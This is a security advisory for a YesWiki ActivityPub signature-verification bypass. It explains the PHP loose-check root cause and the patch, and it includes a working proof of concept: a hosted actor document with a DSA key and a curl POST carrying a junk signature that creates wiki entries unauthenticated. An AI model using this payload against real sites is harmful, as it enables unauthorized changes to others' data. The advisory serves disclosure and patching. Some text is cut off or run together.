CVE-2026-52767: YesWiki ActivityPub Signature-Verification Bypass
A logic flaw in YesWiki's ActivityPub inbox lets any unauthenticated attacker create, update, or delete wiki entries by sending a crafted HTTP request with a junk signature that PHP's openssl_verify s
The problem
YesWiki's `HttpSignatureService::verifySignature()` guards the ActivityPub inbox with `if (!openssl_verify(...)) { throw ... }`. PHP's `openssl_verify` returns `1` (valid), `0` (invalid), `-1` (internal error), or `false` (bad input). The loose boolean negation treats `-1` as truthy, so `!(-1) === false`, the exception is never thrown, and the controller proceeds to `processActivity()`.
The practical trigger on PHP 8.3 + OpenSSL 3.x is supplying a DSA public key in the actor document while listing `algorithm=RSA-SHA256` in the Signature header. OpenSSL's `EVP_VerifyFinal` returns `-1` because the algorithm and key type are incompatible. Any ActivityPub-enabled Bazar form is reachable with a single unauthenticated POST, allowing Create, Update, and Delete of arbitrary entries.
Proof of concept
A working proof-of-concept for CVE-2026-52767 in yeswiki/yeswiki, with the exact payload below.
# 1. Host an actor document at a URL you control that returns a DSA public key:
# GET http://attacker.example/actors/attacker
# {
# "id": "http://attacker.example/actors/attacker",
# "publicKey": {
# "id": "http://attacker.example/actors/attacker",
# "publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIB...DSA KEY...\n-----END PUBLIC KEY-----\n"
# }
# }
# 2. Confirm the bypass trigger (run inside the YesWiki container):
php -r '
$pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
$key = openssl_get_publickey($pem);
$r = openssl_verify("hello", "junk", $key, "RSA-SHA256");
echo "openssl_verify returned: " . var_export($r, true) . "\n";
echo "!openssl_verify(...) is: " . var_export(!$r, true) . "\n";
'
# Expected: openssl_verify returned: -1
# !openssl_verify(...) is: false <-- bypass confirmed
# 3. Send the malicious Create activity (no valid signature needed):
ACTIVITY='{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Create",
"id": "http://attacker.example/activity/poc-001",
"actor":"http://attacker.example/actors/attacker",
"object": {
"id": "http://attacker.example/objects/poc-001",
"type": "Event",
"name": "Injected entry via signature bypass",
"content": "openssl_verify returned -1; YesWiki accepted us anyway",
"startTime": "2026-12-01T10:00:00Z",
"endTime": "2026-12-01T12:00:00Z"
}
}'
DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
KEYID="http://attacker.example/actors/attacker"
SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'
curl -s -X POST "http://target.example/?api/forms/2/actor/inbox" \
-H "Content-Type: application/activity+json" \
-H "Date: ${DATE}" \
-H "Digest: ${DIGEST}" \
-H "Signature: ${SIG}" \
--data-raw "$ACTIVITY" \
-w '\n HTTP %{http_code}\n'
# Expected: HTTP 200 with entry written to yeswiki_pagesThe root cause is CWE-347 (Improper Verification of Cryptographic Signature) caused by PHP's loose type system. `openssl_verify` returns integer `-1` on an internal OpenSSL error, and `-1` is truthy in PHP, so `!(-1)` evaluates to `false`, skipping the throw entirely.
The bypass is triggered by supplying a DSA or EC public key in the actor document while advertising `algorithm=RSA-SHA256` in the Signature header. OpenSSL's `EVP_VerifyFinal` returns `-1` because the key type and algorithm are incompatible, not because the signature was checked and failed.
The Digest header is still enforced, but it is trivially satisfied by computing `SHA-256` of the attacker-chosen body. The patch at commit `d1795e0301e1a1078f17b4b98f56fff70de2029e` replaces the loose check with a strict identity comparison: `openssl_verify(...) !== 1`, which correctly treats `-1` as a failure and throws.
This is the canonical fix recommended by the PHP documentation for this function.
The fix
Upgrade to YesWiki 4.6.6. The patch changes `if (!openssl_verify(...))` to `if (openssl_verify(...) !== 1)` in `tools/bazar/services/HttpSignatureService.php`, ensuring that an internal OpenSSL error (`-1`) is treated as a verification failure rather than success.
If you cannot upgrade immediately, disable ActivityPub federation on all Bazar forms.
Related research
- critical · 9.1CVE-2026-52766CVE-2026-52766: YesWiki Unauthenticated Arbitrary Page Deletion
- high · 8.3CVE-2026-52769CVE-2026-52769: YesWiki Unauthenticated SSRF via ActivityPub Signature keyId
- high · 7.5CVE-2026-52770CVE-2026-52770: YesWiki Bazar API Unauthenticated Boolean-Based SQL Injection
- high · 8.3CVE-2026-52771CVE-2026-52771: YesWiki Second-Order SQL Injection in Page Delete API